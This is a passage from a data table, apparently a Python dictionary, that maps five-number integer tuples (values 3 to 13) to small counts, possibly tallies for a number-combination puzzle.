(3, 5, 7, 7, 10): 14,
(3, 5, 7, 7, 11): 10,
(3, 5, 7, 7, 12): 9,
(3, 5, 7, 7, 13): 6,
(3, 5, 7, 8, 8): 9,
(3, 5, 7, 8, 9): 11,
(3, 5, 7, 8, 10): 23,
(3, 5, 7, 8, 11): 14,
(3, 5, 7, 8, 12): 17,
(3, 5, 7, 8, 13): 13,
(3, 5, 7, 9, 9): 7,
(3, 5, 7, 9, 10): 17,
(3, 5, 7, 9, 11): 12,
(3, 5, 7, 9, 12): 34,
(3, 5, 7, 9, 13): 20,
(3, 5, 7, 10, 10): 13,
(3, 5, 7, 10, 11): 21,
(3, 5, 7, 10, 12): 23,
(3, 5, 7, 10, 13): 14,
(3, 5, 7, 11, 11): 4,
(3, 5, 7, 11, 12): 14,
(3, 5, 7, 11, 13): 9,
(3, 5, 7, 12, 12): 7,
(3, 5, 7, 12, 13): 9,
(3, 5, 7, 13, 13): 5,
(3, 5, 8, 8, 8): 3,
(3, 5, 8, 8, 9): 11,
(3, 5, 8, 8, 10): 14,
(3, 5, 8, 8, 11): 7,
(3, 5, 8, 8, 12): 2,
(3, 5, 8, 8, 13): 5,
(3, 5, 8, 9, 9): 12,
(3, 5, 8, 9, 10): 13,
(3, 5, 8, 9, 11): 10,
(3, 5, 8, 9, 12): 16,
(3, 5, 8, 9, 13): 16,
(3, 5, 8, 10, 10): 11,
(3, 5, 8, 10, 11): 12,
(3, 5, 8, 10, 12): 21,
(3, 5, 8, 10, 13): 17,
(3, 5, 8, 11, 11): 7,
(3, 5, 8, 11, 12): 18,
(3, 5, 8, 11, 13): 6,
(3, 5, 8, 12, 12): 6,
(3, 5, 8, 12, 13): 15,
(3, 5, 8, 13, 13): 12,
(3, 5, 9, 9, 9): 7,
(3, 5, 9, 9, 10): 18,
(3, 5, 9, 9, 11): 4,
(3, 5, 9, 9, 12): 17,
(3, 5, 9, 9, 13): 2,
(3, 5, 9, 10, 10): 8,
(3, 5, 9, 10, 11): 12,
(3, 5, 9, 10, 12): 14,
(3, 5, 9, 10, 13): 14,
(3, 5, 9, 11, 11): 9,
(3, 5, 9, 11, 12): 19,
(3, 5, 9, 11, 13): 10,
(3, 5, 9, 12, 12): 11,
(3, 5, 9, 12, 13): 16,
(3, 5, 9, 13, 13): 4,
(3, 5, 10, 10, 10): 5,
(3, 5, 10, 10, 11): 11,
(3, 5, 10, 10, 12): 9,
(3, 5, 10, 10, 13): 8,
(3, 5, 10, 11, 11): 10,
(3, 5, 10, 11, 12): 15,
(3, 5, 10, 11, 13): 15,
(3, 5, 10, 12, 12): 24,
(3, 5, 10, 12, 13): 17,
(3, 5, 10, 13, 13): 5,
(3, 5, 11, 11, 11): 1,
(3, 5, 11, 11, 12): 6,
(3, 5, 11, 11, 13): 5,
(3, 5, 11, 12, 12): 8,
(3, 5, 11, 12, 13): 5,
(3, 5, 11, 13, 13): 4,
(3, 5, 12, 12, 12): 1,
(3, 5, 12, 12, 13): 3,
(3, 5, 12, 13, 13): 2,
(3, 5, 13, 13, 13): 1,
(3, 6, 6, 6, 6): 3,
(3, 6, 6, 6, 7): 7,
(3, 6, 6, 6, 8): 9,
(3, 6, 6, 6, 9): 14,
(3, 6, 6, 6, 10): 9,
(3, 6, 6, 6, 11): 8,
(3, 6, 6, 6, 12): 20,
(3, 6, 6, 6, 13): 4,
(3, 6, 6, 7, 7): 2,
(3, 6, 6, 7, 8): 10,
(3, 6, 6, 7, 9): 11,
(3, 6, 6, 7, 10): 13,
(3, 6, 6, 7, 11): 10,
(3, 6, 6, 7, 12): 19,
(3, 6, 6, 7, 13): 8,
(3, 6, 6, 8, 8): 7,
(3, 6, 6, 8, 9): 14,
(3, 6, 6, 8, 10): 20,
(3, 6, 6, 8, 11): 14,
(3, 6, 6, 8, 12): 23,
(3, 6, 6, 8, 13): 10,
(3, 6, 6, 9, 9): 15,
(3, 6, 6, 9, 10): 19,
(3, 6, 6, 9, 11): 18,
(3, 6, 6, 9, 12): 32,
(3, 6, 6, 9, 13): 16,
(3, 6, 6, 10, 10): 8,
(3, 6, 6, 10, 11): 9,
(3, 6, 6, 10, 12): 22,
(3, 6, 6, 10, 13): 11,
(3, 6, 6, 11, 11): 3,
(3, 6, 6, 11, 12): 16,
(3, 6, 6, 11, 13): 7,
(3, 6, 6, 12, 12): 18,
(3, 6, 6, 12, 13): 16,
(3, 6, 6, 13, 13): 2,
(3, 6, 7, 7, 7): 6,
(3, 6, 7, 7, 8): 8,
(3, 6, 7, 7, 9): 22,
(3, 6, 7, 7, 10): 9,
(3, 6, 7, 7, 11): 16,
(3, 6, 7, 7, 12): 12,
(3, 6, 7, 7, 13): 7,
(3, 6, 7, 8, 8): 5,
(3, 6, 7, 8, 9): 20,
(3, 6, 7, 8, 10): 27,
(3, 6, 7, 8, 11): 16,
(3, 6, 7, 8, 12): 28,
(3, 6, 7, 8, 13): 13,
(3, 6, 7, 9, 9): 22,
(3, 6, 7, 9, 10): 15,
(3, 6, 7, 9, 11): 20,
(3, 6, 7, 9, 12): 30,
(3, 6, 7, 9, 13): 22,
(3, 6, 7, 10, 10): 6,
(3, 6, 7, 10, 11): 21,
(3, 6, 7, 10, 12): 23,
(3, 6, 7, 10, 13): 23,
(3, 6, 7, 11, 11): 8,
(3, 6, 7, 11, 12): 14,
(3, 6, 7, 11, 13): 16,
(3, 6, 7, 12, 12): 19,
(3, 6, 7, 12, 13): 9,
(3, 6, 7, 13, 13): 4,
(3, 6, 8, 8, 8): 3,
(3, 6, 8, 8, 9): 16,
(3, 6, 8, 8, 10): 15,
(3, 6, 8, 8, 11): 11,
(3, 6, 8, 8, 12): 13,
(3, 6, 8, 8, 13): 7,
(3, 6, 8, 9, 9): 22,
(3, 6, 8, 9, 10): 19,
(3, 6, 8, 9, 11): 11,
(3, 6, 8, 9, 12): 36,
(3, 6, 8, 9, 13): 12,
(3, 6, 8, 10, 10): 7,
(3, 6, 8, 10, 11): 10,
(3, 6, 8, 10, 12): 34,
(3, 6, 8, 10, 13): 25,
(3, 6, 8, 11, 11): 7,
(3, 6, 8, 11, 12): 21,
(3, 6, 8, 11, 13): 22,
(3, 6, 8, 12, 12): 26,
(3, 6, 8, 12, 13): 12,
(3, 6, 8, 13, 13): 4,
(3, 6, 9, 9, 9): 10,
(3, 6, 9, 9, 10): 13,
(3, 6, 9, 9, 11): 20,
(3, 6, 9, 9, 12): 21,
(3, 6, 9, 9, 13): 25,
(3, 6, 9, 10, 10): 13,
(3, 6, 9, 10, 11): 14,
(3, 6, 9, 10, 12): 19,
(3, 6, 9, 10, 13): 11,
(3, 6, 9, 11, 11): 11,
(3, 6, 9, 11, 12): 25,
(3, 6, 9, 11, 13): 13,
(3, 6, 9, 12, 12): 32,
(3, 6, 9, 12, 13): 25,
(3, 6, 9, 13, 13): 9,
(3, 6, 10, 10, 10): 2,
(3, 6, 10, 10, 11): 7,
(3, 6, 10, 10, 12): 14,
(3, 6, 10, 10, 13): 5,
(3, 6, 10, 11, 11): 8,
(3, 6, 10, 11, 12): 15,
(3, 6, 10, 11, 13): 12,
(3, 6, 10, 12, 12): 14,
(3, 6, 10, 12, 13): 19,
(3, 6, 10, 13, 13): 12,
(3, 6, 11, 11, 11): 4,
(3, 6, 11, 11, 12): 5,
(3, 6, 11, 11, 13): 6,
(3, 6, 11, 12, 12): 14,
(3, 6, 11, 12, 13): 12,
(3, 6, 11, 13, 13): 8,
(3, 6, 12, 12, 12): 12,
(3, 6, 12, 12, 13): 11,
(3, 6, 12, 13, 13): 6,
(3, 6, 13, 13, 13): 4,
(3, 7, 7, 7, 7): 3,
(3, 7, 7, 7, 8): 6,
(3, 7, 7, 7, 9): 3,
(3, 7, 7, 7, 10): 7,
(3, 7, 7, 7, 11): 5,
(3, 7, 7, 7, 12): 10,
(3, 7, 7, 7, 13): 2,
(3, 7, 7, 8, 8): 3,
(3, 7, 7, 8, 9): 6,
(3, 7, 7, 8, 10): 10,
(3, 7, 7, 8, 11): 12,
(3, 7, 7, 8, 12): 10,
(3, 7, 7, 8, 13): 6,
(3, 7, 7, 9, 9): 7,
(3, 7, 7, 9, 10): 9,
(3, 7, 7, 9, 11): 10,
(3, 7, 7, 9, 12): 15,
(3, 7, 7, 9, 13): 6,
(3, 7, 7, 10, 10): 2,
(3, 7, 7, 10, 11): 7,
(3, 7, 7, 10, 12): 9,
(3, 7, 7, 10, 13): 8,
(3, 7, 7, 11, 11): 3,
(3, 7, 7, 11, 12): 7,
(3, 7, 7, 11, 13): 9,
(3, 7, 7, 12, 12): 4,
(3, 7, 7, 12, 13): 6,
(3, 7, 7, 13, 13): 1,
(3, 7, 8, 8, 8): 3,
(3, 7, 8, 8, 9): 4,
(3, 7, 8, 8, 10): 7,
(3, 7, 8, 8, 11): 7,
(3, 7, 8, 8, 12): 6,
(3, 7, 8, 8, 13): 6,
(3, 7, 8, 9, 9): 13,
(3, 7, 8, 9, 10): 18,
(3, 7, 8, 9, 11): 9,
(3, 7, 8, 9, 12): 16,
(3, 7, 8, 9, 13): 11,
(3, 7, 8, 10, 10): 6,
(3, 7, 8, 10, 11): 11,
(3, 7, 8, 10, 12): 11,
(3, 7, 8, 10, 13): 9,
(3, 7, 8, 11, 11): 3,
(3, 7, 8, 11, 12): 15,
(3, 7, 8, 11, 13): 11,
(3, 7, 8, 12, 12): 11,
(3, 7, 8, 12, 13): 14,
(3, 7, 8, 13, 13): 7,
(3, 7, 9, 9, 9): 6,
(3, 7, 9, 9, 10): 11,
(3, 7, 9, 9, 11): 5,
(3, 7, 9, 9, 12): 11,
(3, 7, 9, 9, 13): 5,
(3, 7, 9, 10, 10): 4,
(3, 7, 9, 10, 11): 11,
(3, 7, 9, 10, 12): 20,
(3, 7, 9, 10, 13): 14,
(3, 7, 9, 11, 11): 6,
(3, 7, 9, 11, 12): 24,
(3, 7, 9, 11, 13): 12,
(3, 7, 9, 12, 12): 11,
(3, 7, 9, 12, 13): 13,
(3, 7, 9, 13, 13): 6,
(3, 7, 10, 10, 10): 3,
(3, 7, 10, 10, 11): 5,
(3, 7, 10, 10, 12): 6,
(3, 7, 10, 10, 13): 2,
(3, 7, 10, 11, 11): 6,
(3, 7, 10, 11, 12): 14,
(3, 7, 10, 11, 13): 10,
(3, 7, 10, 12, 12): 11,
(3, 7, 10, 12, 13): 14,
(3, 7, 10, 13, 13): 5,
(3, 7, 11, 11, 11): 1,
(3, 7, 11, 11, 12): 5,
(3, 7, 11, 11, 13): 4,
(3, 7, 11, 12, 12): 4,
(3, 7, 11, 12, 13): 8,
(3, 7, 11, 13, 13): 2,
(3, 7, 12, 12, 12): 3,
(3, 7, 12, 12, 13): 9,
(3, 7, 12, 13, 13): 6,
(3, 7, 13, 13, 13): 1,
(3, 8, 8, 8, 9): 1,
(3, 8, 8, 8, 10): 4,
(3, 8, 8, 8, 11): 2,
(3, 8, 8, 8, 12): 2,
(3, 8, 8, 8, 13): 2,
(3, 8, 8, 9, 9): 2,
(3, 8, 8, 9, 10): 11,
(3, 8, 8, 9, 11): 8,
(3, 8, 8, 9, 12): 5,
(3, 8, 8, 9, 13): 2,
(3, 8, 8, 10, 10): 5,
(3, 8, 8, 10, 11): 9,
(3, 8, 8, 10, 12): 12,
(3, 8, 8, 10, 13): 6,
(3, 8, 8, 11, 11): 1,
(3, 8, 8, 11, 12): 3,
(3, 8, 8, 11, 13): 3,
(3, 8, 8, 12, 12): 7,
(3, 8, 8, 12, 13): 4,
(3, 8, 8, 13, 13): 8,
(3, 8, 9, 9, 9): 3,
(3, 8, 9, 9, 10): 8,
(3, 8, 9, 9, 11): 5,
(3, 8, 9, 9, 12): 16,
(3, 8, 9, 9, 13): 8,
(3, 8, 9, 10, 10): 7,
(3, 8, 9, 10, 11): 11,
(3, 8, 9, 10, 12): 23,
(3, 8, 9, 10, 13): 12,
(3, 8, 9, 11, 11): 11,
(3, 8, 9, 11, 12): 9,
(3, 8, 9, 11, 13): 12,
(3, 8, 9, 12, 12): 9,
(3, 8, 9, 12, 13): 12,
(3, 8, 9, 13, 13): 3,
(3, 8, 10, 10, 10): 3,
(3, 8, 10, 10, 11): 5,
(3, 8, 10, 10, 12): 11,
(3, 8, 10, 10, 13): 4,
(3, 8, 10, 11, 11): 2,
(3, 8, 10, 11, 12): 14,
(3, 8, 10, 11, 13): 15,
(3, 8, 10, 12, 12): 12,
(3, 8, 10, 12, 13): 8,
(3, 8, 10, 13, 13): 3,
(3, 8, 11, 11, 11): 2,
(3, 8, 11, 11, 12): 3,
(3, 8, 11, 11, 13): 8,
(3, 8, 11, 12, 12): 5,
(3, 8, 11, 12, 13): 9,
(3, 8, 11, 13, 13): 7,
(3, 8, 12, 12, 12): 3,
(3, 8, 12, 12, 13): 7,
(3, 8, 12, 13, 13): 4,
(3, 8, 13, 13, 13): 1,
(3, 9, 9, 9, 10): 5,
(3, 9, 9, 9, 11): 6,
(3, 9, 9, 9, 12): 12,
(3, 9, 9, 9, 13): 7,
(3, 9, 9, 10, 10): 2,
(3, 9, 9, 10, 11): 13,
(3, 9, 9, 10, 12): 11,
(3, 9, 9, 10, 13): 5,
(3, 9, 9, 11, 11): 1,
(3, 9, 9, 11, 12): 11,
(3, 9, 9, 11, 13): 5,
(3, 9, 9, 12, 12): 9,
(3, 9, 9, 12, 13): 9,
(3, 9, 9, 13, 13): 3,
(3, 9, 10, 10, 10): 3,
(3, 9, 10, 10, 11): 5,
(3, 9, 10, 10, 12): 9,
(3, 9, 10, 10, 13): 7,
(3, 9, 10, 11, 11): 4,
(3, 9, 10, 11, 12): 11,
(3, 9, 10, 11, 13): 11,
(3, 9, 10, 12, 12): 14,
(3, 9, 10, 12, 13): 10,
(3, 9, 10, 13, 13): 9,
(3, 9, 11, 11, 11): 2,
(3, 9, 11, 11, 12): 9,
(3, 9, 11, 11, 13): 4,
(3, 9, 11, 12, 12): 10,
(3, 9, 11, 12, 13): 16,
(3, 9, 11, 13, 13): 5,
(3, 9, 12, 12, 12): 4,
(3, 9, 12, 12, 13): 6,
(3, 9, 12, 13, 13): 11,
(3, 9, 13, 13, 13): 3,
(3, 10, 10, 10, 11): 3,
(3, 10, 10, 10, 12): 4,
(3, 10, 10, 10, 13): 3,
(3, 10, 10, 11, 11): 4,
(3, 10, 10, 11, 12): 2,
(3, 10, 10, 11, 13): 2,
(3, 10, 10, 12, 12): 3,
(3, 10, 10, 12, 13): 4,
(3, 10, 10, 13, 13): 2,
(3, 10, 11, 11, 11): 3,
(3, 10, 11, 11, 12): 3,
(3, 10, 11, 11, 13): 4,
(3, 10, 11, 12, 12): 12,
(3, 10, 11, 12, 13): 11,
(3, 10, 11, 13, 13): 6,
(3, 10, 12, 12, 12): 7,
(3, 10, 12, 12, 13): 7,
(3, 10, 12, 13, 13): 6,
(3, 10, 13, 13, 13): 4,
(3, 11, 11, 11, 12): 5,
(3, 11, 11, 11, 13): 3,
(3, 11, 11, 12, 12): 2,
(3, 11, 11, 12, 13): 2,
(3, 11, 11, 13, 13): 2,
(3, 11, 12, 12, 12): 1,
(3, 11, 12, 12, 13): 6,
(3, 11, 12, 13, 13): 3,
(3, 11, 13, 13, 13): 1,
(3, 12, 12, 12, 12): 2,
(3, 12, 12, 12, 13): 1,
(3, 12, 12, 13, 13): 1,
(3, 12, 13, 13, 13): 2,
(3, 13, 13, 13, 13): 1,
(4, 4, 4, 4, 5): 1,
(4, 4, 4, 4, 6): 4,
(4, 4, 4, 4, 7): 1,
(4, 4, 4, 4, 10): 4,
(4, 4, 4, 4, 11): 2,
(4, 4, 4, 4, 12): 1,
(4, 4, 4, 5, 5): 1,
(4, 4, 4, 5, 6): 10,
(4, 4, 4, 5, 7): 1,
(4, 4, 4, 5, 8): 4,
(4, 4, 4, 5, 9): 3,
(4, 4, 4, 5, 10): 5,
(4, 4, 4, 5, 11): 1,
(4, 4, 4, 5, 12): 2,
(4, 4, 4, 6, 6): 2,
(4, 4, 4, 6, 7): 10,
(4, 4, 4, 6, 8): 7,
(4, 4, 4, 6, 9): 6,
(4, 4, 4, 6, 10): 9,
(4, 4, 4, 6, 11): 4,
(4, 4, 4, 6, 12): 8,
(4, 4, 4, 6, 13): 7,
(4, 4, 4, 7, 7): 3,
(4, 4, 4, 7, 8): 7,
(4, 4, 4, 7, 9): 2,
(4, 4, 4, 7, 10): 4,
(4, 4, 4, 7, 11): 2,
(4, 4, 4, 7, 12): 3,
(4, 4, 4, 7, 13): 2,
(4, 4, 4, 8, 8): 1,
(4, 4, 4, 8, 9): 4,
(4, 4, 4, 8, 10): 13,
(4, 4, 4, 8, 11): 9,
(4, 4, 4, 8, 12): 3,
(4, 4, 4, 8, 13): 4,
(4, 4, 4, 9, 10): 5,
(4, 4, 4, 9, 11): 1,
(4, 4, 4, 9, 12): 3,
(4, 4, 4, 9, 13): 3,
(4, 4, 4, 10, 10): 2,
(4, 4, 4, 10, 11): 5,
(4, 4, 4, 10, 12): 9,
(4, 4, 4, 10, 13): 3,
(4, 4, 4, 11, 11): 2,
(4, 4, 4, 11, 12): 2,
(4, 4, 4, 11, 13): 2,
(4, 4, 4, 12, 12): 2,
(4, 4, 4, 12, 13): 2,
(4, 4, 4, 13, 13): 2,
(4, 4, 5, 5, 5): 1,
(4, 4, 5, 5, 6): 4,
(4, 4, 5, 5, 7): 6,
(4, 4, 5, 5, 8): 5,
(4, 4, 5, 5, 9): 5,
(4, 4, 5, 5, 10): 5,
(4, 4, 5, 5, 11): 3,
(4, 4, 5, 5, 12): 7,
(4, 4, 5, 5, 13): 4,
(4, 4, 5, 6, 6): 5,
(4, 4, 5, 6, 7): 13,
(4, 4, 5, 6, 8): 25,
(4, 4, 5, 6, 9): 9,
(4, 4, 5, 6, 10): 10,
(4, 4, 5, 6, 11): 15,
(4, 4, 5, 6, 12): 18,
(4, 4, 5, 6, 13): 10,
(4, 4, 5, 7, 7): 5,
(4, 4, 5, 7, 8): 6,
(4, 4, 5, 7, 9): 10,
(4, 4, 5, 7, 10): 17,
(4, 4, 5, 7, 11): 7,
(4, 4, 5, 7, 12): 9,
(4, 4, 5, 7, 13): 9,
(4, 4, 5, 8, 8): 7,
(4, 4, 5, 8, 9): 5,
(4, 4, 5, 8, 10): 16,
(4, 4, 5, 8, 11): 6,
(4, 4, 5, 8, 12): 8,
(4, 4, 5, 8, 13): 4,
(4, 4, 5, 9, 9): 1,
(4, 4, 5, 9, 10): 9,
(4, 4, 5, 9, 11): 9,
(4, 4, 5, 9, 12): 5,
(4, 4, 5, 9, 13): 5,
(4, 4, 5, 10, 10): 9,
(4, 4, 5, 10, 11): 9,
(4, 4, 5, 10, 12): 20,
(4, 4, 5, 10, 13): 11,
(4, 4, 5, 11, 11): 3,
(4, 4, 5, 11, 12): 5,
(4, 4, 5, 11, 13): 8,
(4, 4, 5, 12, 12): 2,
(4, 4, 5, 12, 13): 5,
(4, 4, 5, 13, 13): 2,
(4, 4, 6, 6, 6): 5,
(4, 4, 6, 6, 7): 6,
(4, 4, 6, 6, 8): 10,
(4, 4, 6, 6, 9): 11,
(4, 4, 6, 6, 10): 8,
(4, 4, 6, 6, 11): 3,
(4, 4, 6, 6, 12): 14,
(4, 4, 6, 6, 13): 3,
(4, 4, 6, 7, 7): 11,
(4, 4, 6, 7, 8): 17,
(4, 4, 6, 7, 9): 8,
(4, 4, 6, 7, 10): 11,
(4, 4, 6, 7, 11): 6,
(4, 4, 6, 7, 12): 17,
(4, 4, 6, 7, 13): 9,
(4, 4, 6, 8, 8): 11,
(4, 4, 6, 8, 9): 19,
(4, 4, 6, 8, 10): 18,
(4, 4, 6, 8, 11): 18,
(4, 4, 6, 8, 12): 18,
(4, 4, 6, 8, 13): 18,
(4, 4, 6, 9, 9): 4,
(4, 4, 6, 9, 10): 5,
(4, 4, 6, 9, 11): 5,
(4, 4, 6, 9, 12): 24,
(4, 4, 6, 9, 13): 11,
(4, 4, 6, 10, 10): 8,
(4, 4, 6, 10, 11): 8,
(4, 4, 6, 10, 12): 16,
(4, 4, 6, 10, 13): 9,
(4, 4, 6, 11, 11): 3,
(4, 4, 6, 11, 12): 16,
(4, 4, 6, 11, 13): 5,
(4, 4, 6, 12, 12): 15,
(4, 4, 6, 12, 13): 11,
(4, 4, 6, 13, 13): 3,
(4, 4, 7, 7, 7): 4,
(4, 4, 7, 7, 8): 9,
(4, 4, 7, 7, 9): 5,
(4, 4, 7, 7, 10): 6,
(4, 4, 7, 7, 11): 5,
(4, 4, 7, 7, 12): 7,
(4, 4, 7, 7, 13): 6,
(4, 4, 7, 8, 8): 6,
(4, 4, 7, 8, 9): 3,
(4, 4, 7, 8, 10): 12,
(4, 4, 7, 8, 11): 4,
(4, 4, 7, 8, 12): 15,
(4, 4, 7, 8, 13): 7,
(4, 4, 7, 9, 9): 4,
(4, 4, 7, 9, 10): 9,
(4, 4, 7, 9, 11): 11,
(4, 4, 7, 9, 12): 7,
(4, 4, 7, 9, 13): 10,
(4, 4, 7, 10, 10): 6,
(4, 4, 7, 10, 11): 8,
(4, 4, 7, 10, 12): 15,
(4, 4, 7, 10, 13): 4,
(4, 4, 7, 11, 11): 4,
(4, 4, 7, 11, 12): 3,
(4, 4, 7, 11, 13): 6,
(4, 4, 7, 12, 12): 4,
(4, 4, 7, 12, 13): 6,
(4, 4, 7, 13, 13): 2,
(4, 4, 8, 8, 8): 2,
(4, 4, 8, 8, 9): 8,
(4, 4, 8, 8, 10): 9,
(4, 4, 8, 8, 11): 8,
(4, 4, 8, 8, 12): 10,
(4, 4, 8, 8, 13): 8,
(4, 4, 8, 9, 9): 1,
(4, 4, 8, 9, 10): 10,
(4, 4, 8, 9, 11): 2,
(4, 4, 8, 9, 12): 6,
(4, 4, 8, 9, 13): 2,
(4, 4, 8, 10, 10): 8,
(4, 4, 8, 10, 11): 11,
(4, 4, 8, 10, 12): 21,
(4, 4, 8, 10, 13): 10,
(4, 4, 8, 11, 11): 2,
(4, 4, 8, 11, 12): 13,
(4, 4, 8, 11, 13): 1,
(4, 4, 8, 12, 12): 7,
(4, 4, 8, 12, 13): 11,
(4, 4, 8, 13, 13): 2,
(4, 4, 9, 9, 10): 4,
(4, 4, 9, 9, 11): 3,
(4, 4, 9, 9, 12): 5,
(4, 4, 9, 9, 13): 1,
(4, 4, 9, 10, 10): 3,
(4, 4, 9, 10, 11): 10,
(4, 4, 9, 10, 12): 11,
(4, 4, 9, 10, 13): 6,
(4, 4, 9, 11, 11): 6,
(4, 4, 9, 11, 12): 5,
(4, 4, 9, 11, 13): 9,
(4, 4, 9, 12, 12): 7,
(4, 4, 9, 12, 13): 5,
(4, 4, 10, 10, 10): 2,
(4, 4, 10, 10, 11): 2,
(4, 4, 10, 10, 12): 8,
(4, 4, 10, 10, 13): 2,
(4, 4, 10, 11, 11): 1,
(4, 4, 10, 11, 12): 14,
(4, 4, 10, 11, 13): 7,
(4, 4, 10, 12, 12): 8,
(4, 4, 10, 12, 13): 12,
(4, 4, 10, 13, 13): 2,
(4, 4, 11, 11, 11): 1,
(4, 4, 11, 11, 12): 2,
(4, 4, 11, 11, 13): 6,
(4, 4, 11, 12, 12): 3,
(4, 4, 11, 12, 13): 4,
(4, 4, 11, 13, 13): 4,
(4, 4, 12, 12, 12): 2,
(4, 4, 12, 12, 13): 1,
(4, 4, 12, 13, 13): 1,
(4, 4, 13, 13, 13): 1,
(4, 5, 5, 5, 5): 1,
(4, 5, 5, 5, 7): 3,
(4, 5, 5, 5, 8): 6,
(4, 5, 5, 5, 9): 3,
(4, 5, 5, 5, 10): 6,
(4, 5, 5, 5, 11): 3,
(4, 5, 5, 5, 12): 6,
(4, 5, 5, 5, 13): 2,
(4, 5, 5, 6, 6): 3,
(4, 5, 5, 6, 7): 13,
(4, 5, 5, 6, 8): 19,
(4, 5, 5, 6, 9): 7,
(4, 5, 5, 6, 10): 14,
(4, 5, 5, 6, 11): 6,
(4, 5, 5, 6, 12): 12,
(4, 5, 5, 6, 13): 10,
(4, 5, 5, 7, 7): 5,
(4, 5, 5, 7, 8): 11,
(4, 5, 5, 7, 9): 12,
(4, 5, 5, 7, 10): 12,
(4, 5, 5, 7, 11): 10,
(4, 5, 5, 7, 12): 8,
(4, 5, 5, 7, 13): 7,
(4, 5, 5, 8, 8): 5,
(4, 5, 5, 8, 9): 8,
(4, 5, 5, 8, 10): 12,
(4, 5, 5, 8, 11): 12,
(4, 5, 5, 8, 12): 2,
(4, 5, 5, 8, 13): 7,
(4, 5, 5, 9, 9): 1,
(4, 5, 5, 9, 10): 3,
(4, 5, 5, 9, 11): 7,
(4, 5, 5, 9, 12): 11,
(4, 5, 5, 9, 13): 3,
(4, 5, 5, 10, 10): 7,
(4, 5, 5, 10, 11): 4,
(4, 5, 5, 10, 12): 14,
(4, 5, 5, 10, 13): 9,
(4, 5, 5, 11, 11): 2,
(4, 5, 5, 11, 12): 7,
(4, 5, 5, 11, 13): 9,
(4, 5, 5, 12, 12): 1,
(4, 5, 5, 12, 13): 3,
(4, 5, 5, 13, 13): 2,
(4, 5, 6, 6, 6): 4,
(4, 5, 6, 6, 7): 13,
(4, 5, 6, 6, 8): 11,
(4, 5, 6, 6, 9): 22,
(4, 5, 6, 6, 10): 16,
(4, 5, 6, 6, 11): 5,
(4, 5, 6, 6, 12): 17,
(4, 5, 6, 6, 13): 6,
(4, 5, 6, 7, 7): 14,
(4, 5, 6, 7, 8): 20,
(4, 5, 6, 7, 9): 21,
(4, 5, 6, 7, 10): 21,
(4, 5, 6, 7, 11): 11,
(4, 5, 6, 7, 12): 12,
(4, 5, 6, 7, 13): 10,
(4, 5, 6, 8, 8): 16,
(4, 5, 6, 8, 9): 21,
(4, 5, 6, 8, 10): 31,
(4, 5, 6, 8, 11): 12,
(4, 5, 6, 8, 12): 34,
(4, 5, 6, 8, 13): 9,
(4, 5, 6, 9, 9): 7,
(4, 5, 6, 9, 10): 11,
(4, 5, 6, 9, 11): 12,
(4, 5, 6, 9, 12): 24,
(4, 5, 6, 9, 13): 18,
(4, 5, 6, 10, 10): 8,
(4, 5, 6, 10, 11): 12,
(4, 5, 6, 10, 12): 22,
(4, 5, 6, 10, 13): 19,
(4, 5, 6, 11, 11): 5,
(4, 5, 6, 11, 12): 14,
(4, 5, 6, 11, 13): 10,
(4, 5, 6, 12, 12): 12,
(4, 5, 6, 12, 13): 11,
(4, 5, 6, 13, 13): 5,
(4, 5, 7, 7, 7): 7,
(4, 5, 7, 7, 8): 12,
(4, 5, 7, 7, 9): 12,
(4, 5, 7, 7, 10): 10,
(4, 5, 7, 7, 11): 4,
(4, 5, 7, 7, 12): 11,
(4, 5, 7, 7, 13): 6,
(4, 5, 7, 8, 8): 3,
(4, 5, 7, 8, 9): 20,
(4, 5, 7, 8, 10): 10,
(4, 5, 7, 8, 11): 16,
(4, 5, 7, 8, 12): 12,
(4, 5, 7, 8, 13): 20,
(4, 5, 7, 9, 9): 4,
(4, 5, 7, 9, 10): 19,
(4, 5, 7, 9, 11): 8,
(4, 5, 7, 9, 12): 21,
(4, 5, 7, 9, 13): 5,
(4, 5, 7, 10, 10): 9,
(4, 5, 7, 10, 11): 15,
(4, 5, 7, 10, 12): 24,
(4, 5, 7, 10, 13): 8,
(4, 5, 7, 11, 11): 5,
(4, 5, 7, 11, 12): 10,
(4, 5, 7, 11, 13): 4,
(4, 5, 7, 12, 12): 3,
(4, 5, 7, 12, 13): 13,
(4, 5, 7, 13, 13): 5,
(4, 5, 8, 8, 8): 5,
(4, 5, 8, 8, 9): 5,
(4, 5, 8, 8, 10): 14,
(4, 5, 8, 8, 11): 1,
(4, 5, 8, 8, 12): 14,
(4, 5, 8, 8, 13): 2,
(4, 5, 8, 9, 9): 8,
(4, 5, 8, 9, 10): 19,
(4, 5, 8, 9, 11): 17,
(4, 5, 8, 9, 12): 8,
(4, 5, 8, 9, 13): 6,
(4, 5, 8, 10, 10): 12,
(4, 5, 8, 10, 11): 20,
(4, 5, 8, 10, 12): 24,
(4, 5, 8, 10, 13): 19,
(4, 5, 8, 11, 11): 10,
(4, 5, 8, 11, 12): 5,
(4, 5, 8, 11, 13): 13,
(4, 5, 8, 12, 12): 6,
(4, 5, 8, 12, 13): 10,
(4, 5, 8, 13, 13): 6,
(4, 5, 9, 9, 9): 3,
(4, 5, 9, 9, 10): 8,
(4, 5, 9, 9, 11): 6,
(4, 5, 9, 9, 12): 6,
(4, 5, 9, 10, 10): 10,
(4, 5, 9, 10, 11): 8,
(4, 5, 9, 10, 12): 18,
(4, 5, 9, 10, 13): 9,
(4, 5, 9, 11, 11): 7,
(4, 5, 9, 11, 12): 16,
(4, 5, 9, 11, 13): 11,
(4, 5, 9, 12, 12): 10,
(4, 5, 9, 12, 13): 13,
(4, 5, 9, 13, 13): 6,
(4, 5, 10, 10, 10): 6,
(4, 5, 10, 10, 11): 8,
(4, 5, 10, 10, 12): 16,
(4, 5, 10, 10, 13): 6,
(4, 5, 10, 11, 11): 6,
(4, 5, 10, 11, 12): 21,
(4, 5, 10, 11, 13): 10,
(4, 5, 10, 12, 12): 13,
(4, 5, 10, 12, 13): 10,
(4, 5, 10, 13, 13): 4,
(4, 5, 11, 11, 11): 3,
(4, 5, 11, 11, 12): 6,
(4, 5, 11, 11, 13): 3,
(4, 5, 11, 12, 12): 4,
(4, 5, 11, 12, 13): 8,
(4, 5, 11, 13, 13): 5,
(4, 5, 12, 12, 12): 4,
(4, 5, 12, 12, 13): 5,
(4, 5, 12, 13, 13): 2,
(4, 6, 6, 6, 6): 2,
(4, 6, 6, 6, 7): 5,
(4, 6, 6, 6, 8): 13,
(4, 6, 6, 6, 9): 8,
(4, 6, 6, 6, 10): 10,
(4, 6, 6, 6, 11): 5,
(4, 6, 6, 6, 12): 15,
(4, 6, 6, 6, 13): 3,
